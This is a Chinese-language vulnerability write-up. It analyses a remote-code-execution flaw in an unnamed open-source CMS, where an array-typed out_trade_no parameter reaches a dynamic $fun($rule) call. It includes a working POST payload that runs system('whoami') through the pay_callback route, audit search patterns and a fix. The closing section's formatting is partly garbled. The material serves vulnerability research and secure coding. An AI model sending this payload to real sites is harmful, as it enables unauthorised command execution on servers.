RCE漏洞分析与利用:基于CMS的代码审计实战
漏洞概述
本文详细分析一个通过代码审计发现的远程代码执行(RCE)漏洞,该漏洞存在于某开源CMS系统中。漏洞源于对用户输入参数的不当处理,导致攻击者能够构造特殊输入执行任意系统命令。
漏洞发现过程
- 版本对比法:通过对比CMS更新前后的代码版本,从更新日志中发现安全修复点
- 补丁分析:定位到修复点是对
out_trade_no参数增加了非空和字符串类型的校验 - 逆向审计:下载修复前版本进行代码审计,确认漏洞存在
漏洞代码分析
关键漏洞代码段
$out_trade_no = $_POST['out_trade_no'];
$order = D('order')->field('id,order_sn,status,userid,username,paytype,money,quantity,`type`,`desc`')
->where(array('order_sn' => $out_trade_no))->find();
漏洞产生原因
-
输入处理缺陷:
- 直接使用
$_POST['out_trade_no']作为数据库查询条件 - 未对参数类型和内容进行严格校验
- 直接使用
-
WHERE语句处理机制:
- 当传入参数为数组时,系统会特殊处理数组元素
- 处理逻辑中存在可被利用的函数动态调用
// 漏洞核心处理逻辑
$fun = isset($vv[1]) ? $vv[1] : '';
$rule = isset($vv[2]) ? $vv[2] : '';
// ...
$fun($rule); // 此处可执行任意函数
- 三元运算符滥用:
$fun和$rule从数组元素中动态获取- 攻击者可控制这两个变量实现任意函数调用
路由机制分析
该CMS支持三种路由方式:
-
PATH_INFO模式:
http://127.0.0.1/s=模块名/控制器名/方法名 -
伪静态模式:
http://127.0.0.1/模块名/控制器名/方法名.html -
GET参数模式:
http://127.0.0.1/?m=模块名&c=控制器名&a=方法名
文件路径映射规则:
./application/模块名/controller/控制器.php
漏洞复现
攻击向量
POST /?m=pay&c=index&a=pay_callback HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
out_trade_no[0]=eq&out_trade_no[1]=whoami&out_trade_no[2]=system
攻击原理
-
构造特殊数组参数
out_trade_no:[0]:设置比较运算符(实际可为任意值)[1]:指定要执行的系统命令[2]:指定命令执行函数(如system)
-
系统处理流程:
- 将数组参数传递给WHERE条件处理
- 动态调用
$fun($rule)即system('whoami') - 实现任意命令执行
漏洞挖掘方法论
代码审计技巧
-
敏感函数追踪:
- 搜索
->where(等数据库操作方法 - 关注参数是否为用户可控输入
- 搜索
-
正则表达式搜索:
->where\(array\查找数组形式的WHERE条件- `->where
\[->` 查找链式调用 3. **参数传递路径分析**: - 追踪用户输入从入口到最终使用的完整路径 - 检查中间是否有充分的过滤和校验 ### 同类漏洞挖掘 1. **后台管理员添加功能**: - 查找类似`$_POST["adminname"]`直接使用的场景 - 检查是否有未过滤的数组参数传递 2. **其他数据库操作方法**: - `find()` - `select()` - `query()` ## 防御措施 1. **输入验证**: - 严格校验参数类型(如强制字符串类型) - 使用白名单验证允许的字符集 2. **安全编码实践**: - 避免动态函数调用 - 使用参数化查询或预处理语句 3. **修复方案**: ```php // 修复后的代码 $out_trade_no = isset($_POST['out_trade_no']) && is_string($_POST['out_trade_no']) ? $_POST['out_trade_no'] : ''; ``` ## 总结 本漏洞展示了以下安全要点: 1. 动态函数调用的危险性 2. 数组参数处理的潜在风险 3. 输入验证的重要性 4. 通过版本对比进行漏洞挖掘的有效性 安全开发人员应当: - 避免使用用户输入直接作为函数名 - 对所有用户输入进行严格类型和内容检查 - 使用安全的数据库查询方法\]